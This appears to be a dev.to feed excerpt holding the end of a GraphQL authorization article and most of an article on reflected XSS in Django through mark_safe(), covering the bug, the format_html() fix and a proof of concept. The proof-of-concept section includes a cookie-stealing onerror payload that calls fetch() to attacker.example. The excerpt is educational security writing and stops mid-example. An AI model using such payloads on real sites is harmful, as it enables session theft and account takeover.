    &lt;span class="nf"&gt;createComplexityLimitRule&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;           &lt;span class="c1"&gt;// reject queries with complexity score &amp;gt; 1000&lt;/span&gt;
      &lt;span class="na"&gt;onCost&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cost&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Query cost:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;cost&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;}),&lt;/span&gt;
  &lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;introspection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;NODE_ENV&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;production&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// disable introspection in prod&lt;/span&gt;
  &lt;span class="na"&gt;persistedQueries&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;persistedQueriesCache&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// APQ: only execute known query hashes&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Multi-tenant schema design&lt;/strong&gt; deserves explicit threat modeling. If your schema includes &lt;code&gt;organization(id: ID!)&lt;/code&gt; and &lt;code&gt;user(id: ID!)&lt;/code&gt; as top-level queries, consider whether tenant-scoping should be enforced at the data layer (row-level security in Postgres, for example) rather than relying entirely on resolver logic. Resolver logic can be forgotten; a database constraint cannot.&lt;/p&gt;

&lt;p&gt;If you're building or evaluating APIs beyond GraphQL, the same field-level trust boundary analysis applies to &lt;a href="https://www.codereviewlab.com/learning/grpc-security" rel="noopener noreferrer"&gt;gRPC API security patterns&lt;/a&gt; — service-level auth in gRPC has the same failure mode as query-root-only auth in GraphQL.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;p&gt;The bypass primitive is consistent across every instance of this bug class: authorization is enforced at the operation entry point but not at every resolver that handles sensitive data. The field-level check is the minimal viable fix. The directive or middleware approach (graphql-shield, schema directives) scales better than per-resolver if/throw blocks as the schema grows, because it makes authorization visible in the schema definition rather than scattered across resolver implementations.&lt;/p&gt;

&lt;p&gt;The hardest part of reviewing GraphQL for this pattern is tracing every path that can reach a sensitive type — aliases, fragments, and inline fragments all create paths that bypass a naive "is this field name protected?" check. Ownership checks tied to &lt;code&gt;parent.id&lt;/code&gt; vs &lt;code&gt;context.user.id&lt;/code&gt; inside the resolver itself are the only reliable guard.&lt;/p&gt;

&lt;p&gt;If you want structured practice finding this in realistic code, &lt;a href="https://www.codereviewlab.com/learning/cyber-security-analyst-interview-questions" rel="noopener noreferrer"&gt;practice spotting this in interview-style reviews&lt;/a&gt; on Code Review Lab or work through the full &lt;a href="https://www.codereviewlab.com/learning/graphql-security" rel="noopener noreferrer"&gt;GraphQL security lab&lt;/a&gt; against a live vulnerable target — reading the pattern once and hunting it under time pressure are different skills.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further Reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-26489" rel="noopener noreferrer"&gt;CVE-2023-26489 — wasmCloud host IDOR via nested resolver&lt;/a&gt;: the NVD entry and linked advisory showing how a trust-boundary assumption at the host level mirrored the nested resolver bypass pattern.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html" rel="noopener noreferrer"&gt;OWASP GraphQL Cheat Sheet&lt;/a&gt;: covers introspection hardening, query complexity, batching limits, and field-level authorization in one reference document.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://the-guild.dev/graphql/shield" rel="noopener noreferrer"&gt;graphql-shield documentation&lt;/a&gt;: rule caching semantics (&lt;code&gt;contextual&lt;/code&gt; vs &lt;code&gt;strict&lt;/code&gt;) are explained in detail here — the caching model is the thing most people misconfigure.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.codereviewlab.com/learning/graphql-security" rel="noopener noreferrer"&gt;Code Review Lab — GraphQL Security&lt;/a&gt;: hands-on lab with a vulnerable Apollo Server target, guided review workflow, and verified fix path.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://escape.tech/blog/graphql-security/" rel="noopener noreferrer"&gt;Escape.tech GraphQL Security Research&lt;/a&gt;: practical attack research including batching-based rate limit bypass and alias abuse, with payloads.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>graphql</category>
      <category>security</category>
      <category>appsec</category>
      <category>codereview</category>
    </item>
    <item>
      <title>Real-World CVE XSS Exploit in Django Template Engine</title>
      <dc:creator>Stefan</dc:creator>
      <pubDate>Mon, 11 May 2026 18:30:23 +0000</pubDate>
      <link>https://dev.to/securitystefan/real-world-cve-xss-exploit-in-django-template-engine-1pjh</link>
      <guid>https://dev.to/securitystefan/real-world-cve-xss-exploit-in-django-template-engine-1pjh</guid>
      <description>&lt;h1&gt;
  
  
  Real-World CVE XSS Exploit in Django Template Engine
&lt;/h1&gt;

&lt;p&gt;A Django app with autoescape enabled gets XSS. The team can't figure out how — the template engine is supposed to escape everything by default. What they missed: a single &lt;code&gt;mark_safe()&lt;/code&gt; call in a view utility function, written three years ago to render "trusted" notification banners, now handles a code path that feeds in URL query parameters. The attacker sends a crafted link to a support rep, the rep clicks it while authenticated, and the session cookie is gone. This is the anatomy of that class of bug.&lt;/p&gt;

&lt;h2&gt;
  
  
  How the Django Template XSS Bug Works
&lt;/h2&gt;

&lt;p&gt;The Django template engine escapes output by default. When a string flows from a Python view into a template variable, Django's autoescaping converts &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;"&lt;/code&gt;, &lt;code&gt;'&lt;/code&gt;, and &lt;code&gt;&amp;amp;&lt;/code&gt; into their HTML entity equivalents before rendering. The protection breaks the moment a string is marked safe before tainted data reaches the template.&lt;/p&gt;

&lt;p&gt;CVE-2021-45116 is a Django information-disclosure bug, but the underlying mechanism — &lt;code&gt;SafeString&lt;/code&gt; propagation across template context — is exactly the class of issue we're describing. A more direct analogy is CVE-2020-13254 (invalid cache key bypass) where attacker-controlled values slipped through Django's safety assumptions. The pattern recurs: a &lt;code&gt;SafeString&lt;/code&gt; created from trusted content gets concatenated or formatted with untrusted content, and because the result inherits the &lt;code&gt;SafeString&lt;/code&gt; type, autoescaping never fires.&lt;/p&gt;

&lt;p&gt;For &lt;a href="https://www.codereviewlab.com/learning/advanced-xss" rel="noopener noreferrer"&gt;advanced XSS exploitation techniques&lt;/a&gt;, the interesting part is not the payload itself — it's how &lt;code&gt;SafeString&lt;/code&gt; behaves when it meets string concatenation.&lt;/p&gt;

&lt;p&gt;Here's the vulnerable pattern:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# views.py
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;django.utils.safestring&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;mark_safe&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;django.shortcuts&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;render&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;search_results&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;q&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Original intent: wrap the query in a &amp;lt;strong&amp;gt; tag for display.
&lt;/span&gt;    &lt;span class="c1"&gt;# The developer assumed query was always plain text from a search box.
&lt;/span&gt;    &lt;span class="c1"&gt;# No one audited this when a new "deep link" feature started passing
&lt;/span&gt;    &lt;span class="c1"&gt;# HTML fragments through the q= parameter.
&lt;/span&gt;    &lt;span class="n"&gt;highlighted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;mark_safe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Results for: &amp;lt;strong&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;/strong&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;search.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;highlighted&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;highlighted&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- search.html --&amp;gt;&lt;/span&gt;
{% load static %}
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
  &lt;span class="c"&gt;&amp;lt;!-- autoescape is ON by default, but highlighted is already a SafeString.
       Django will not re-escape it. The SafeString contract says:
       "I promise this is already safe." That promise was broken in the view. --&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;{{ highlighted }}&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;mark_safe()&lt;/code&gt; returns a &lt;code&gt;SafeString&lt;/code&gt; instance. When Django's template engine encounters a &lt;code&gt;SafeString&lt;/code&gt;, it skips escaping entirely. The &lt;code&gt;|safe&lt;/code&gt; filter does the same thing — it casts to &lt;code&gt;SafeString&lt;/code&gt; at the template layer. Either way, if the string contains attacker-controlled content, you have reflected XSS.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;f"Results for: &amp;lt;strong&amp;gt;{query}&amp;lt;/strong&amp;gt;"&lt;/code&gt; line is the failure point. The trusted HTML (&lt;code&gt;&amp;lt;strong&amp;gt;&lt;/code&gt;) and the untrusted data (&lt;code&gt;query&lt;/code&gt;) are concatenated inside an f-string before &lt;code&gt;mark_safe()&lt;/code&gt; is applied. By the time &lt;code&gt;mark_safe()&lt;/code&gt; wraps the result, the attacker's payload is already embedded in the string with no escape opportunity left.&lt;/p&gt;

&lt;h2&gt;
  
  
  Patching the Vulnerable Template Code
&lt;/h2&gt;

&lt;p&gt;The fix is &lt;code&gt;format_html()&lt;/code&gt;. It's Django's purpose-built function for composing HTML strings from mixed trusted and untrusted inputs: it escapes every positional and keyword argument while leaving the format string — which must be a literal you control — as-is.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# views.py — fixed
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;django.utils.html&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;format_html&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;escape&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;django.shortcuts&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;render&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;search_results&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;q&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# format_html escapes every argument before interpolation.
&lt;/span&gt;    &lt;span class="c1"&gt;# The format string itself is a trusted literal, not user input.
&lt;/span&gt;    &lt;span class="c1"&gt;# If you need to compose more complex HTML, use format_html_join().
&lt;/span&gt;    &lt;span class="n"&gt;highlighted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;format_html&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Results for: &amp;lt;strong&amp;gt;{}&amp;lt;/strong&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;search.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;highlighted&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;highlighted&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- search.html — no changes needed; template stays the same.
     format_html() returns a SafeString, but one that was built safely.
     The template's autoescape handles any other context variables normally. --&amp;gt;&lt;/span&gt;
{% load static %}
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;{{ highlighted }}&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Before/after in one line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Before (vulnerable)
&lt;/span&gt;&lt;span class="n"&gt;highlighted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;mark_safe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Results for: &amp;lt;strong&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;/strong&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# After (safe)
&lt;/span&gt;&lt;span class="n"&gt;highlighted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;format_html&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Results for: &amp;lt;strong&amp;gt;{}&amp;lt;/strong&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you absolutely must escape a value manually — say you're building a helper that conditionally wraps content — use &lt;code&gt;conditional_escape()&lt;/code&gt;, not &lt;code&gt;escape()&lt;/code&gt;, because &lt;code&gt;conditional_escape()&lt;/code&gt; is a no-op on already-safe strings, preventing double-escaping:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;django.utils.html&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;conditional_escape&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;format_html&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;wrap_if_nonempty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;span&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# conditional_escape handles both str and SafeString inputs correctly.
&lt;/span&gt;    &lt;span class="c1"&gt;# Passing a SafeString to escape() would double-escape it.
&lt;/span&gt;    &lt;span class="n"&gt;safe_value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;conditional_escape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;safe_value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;format_html&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;{tag}&amp;gt;{value}&amp;lt;/{tag}&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;safe_value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The one tradeoff: &lt;code&gt;format_html()&lt;/code&gt; only accepts positional or keyword arguments as the escapable slots. You cannot pass a list into it directly; for that, use &lt;code&gt;format_html_join()&lt;/code&gt;. Teams sometimes reach back for &lt;code&gt;mark_safe()&lt;/code&gt; when they need a loop, which opens the hole again.&lt;/p&gt;

&lt;h2&gt;
  
  
  Building the Proof-of-Concept Payload
&lt;/h2&gt;

&lt;p&gt;Against the vulnerable view, the exploit is a single crafted URL. No authentication needed, no stored state, no interaction beyond the victim loading the link.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Confirming raw reflection first — does the tag survive?&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:8000/search/?q=&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; script

&lt;span class="c"&gt;# Expected output from the vulnerable app:&lt;/span&gt;
&lt;span class="c"&gt;# &amp;lt;p&amp;gt;Results for: &amp;lt;strong&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For session theft, replace the script tag with an out-of-band exfiltration payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://localhost:8000/search/?q=&amp;lt;img src=x onerror="fetch('https://attacker.example/c?d='+encodeURIComponent(document.cookie))"&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The rendered DOM on the victim's browser:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;Results for: &lt;span class="nt"&gt;&amp;lt;strong&amp;gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;"fetch('https://attacker.example/c?d='+encodeURIComponent(document.cookie))"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;src=x&lt;/code&gt; triggers an immediate load failure, which fires &lt;code&gt;onerror&lt;/code&gt; synchronously. &lt;code&gt;document.cookie&lt;/code&gt; at this point contains every non-&lt;code&gt;HttpOnly&lt;/code&gt; cookie on the Django session domain. If &lt;code&gt;SESSION_COOKIE_HTTPONLY = False&lt;/code&gt; (Django's default is &lt;code&gt;True&lt;/code&gt;, but it gets disabled), the attacker gets the session ID in the exfil request's query string.&lt;/p&gt;

&lt;p&gt;Understanding &lt;a href="https://www.codereviewlab.com/learning/browser-storage" rel="noopener noreferrer"&gt;how XSS abuses browser storage&lt;/a&gt; is worth the time here — tokens stored in &lt;code&gt;localStorage&lt;/code&gt; or non-&lt;code&gt;HttpOnly&lt;/code&gt; cookies are fully readable by this payload with no additional tricks.&lt;/p&gt;

&lt;p&gt;The impact scales with the victim's privilege level. If a support agent or admin loads this link, the attacker inherits their session. If the Django app uses &lt;code&gt;django-allauth&lt;/code&gt; or a similar SSO integration, the blast radius extends to connected services.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Autoescape Alone Did Not Save You
&lt;/h2&gt;

&lt;p&gt;Django's autoescape is an output encoding layer, not an input filter. It works by checking whether a string is an instance of &lt;code&gt;SafeString&lt;/code&gt; before rendering. If it is, escaping is skipped. &lt;code&gt;mark_safe()&lt;/code&gt;, the &lt;code&gt;|safe&lt;/code&gt; filter, and direct &lt;code&gt;SafeString()&lt;/code&gt; construction all produce instances that will pass through unescaped.&lt;/p&gt;

&lt;p&gt;The propagation behavior is the part that surprises people:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;String concatenation breaks the safety boundary.&lt;/strong&gt; When you concatenate a &lt;code&gt;SafeString&lt;/code&gt; with a plain &lt;code&gt;str&lt;/code&gt;, the result is a plain &lt;code&gt;str&lt;/code&gt;. Autoescape will fire on that result. But when you use an f-string or &lt;code&gt;%&lt;/code&gt; formatting with a &lt;code&gt;SafeString&lt;/code&gt; as the base, the result is a &lt;code&gt;SafeString&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;django.utils.safestring&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;mark_safe&lt;/span&gt;

&lt;span class="n"&gt;safe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;mark_safe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;b&amp;gt;hello&amp;lt;/b&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;user_input&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# Case 1: plain concatenation -&amp;gt; str -&amp;gt; autoescape fires -&amp;gt; safe
&lt;/span&gt;&lt;span class="n"&gt;result1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;safe&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;user_input&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  &lt;span class="c1"&gt;# &amp;lt;class 'str'&amp;gt; — autoescape will escape this
&lt;/span&gt;
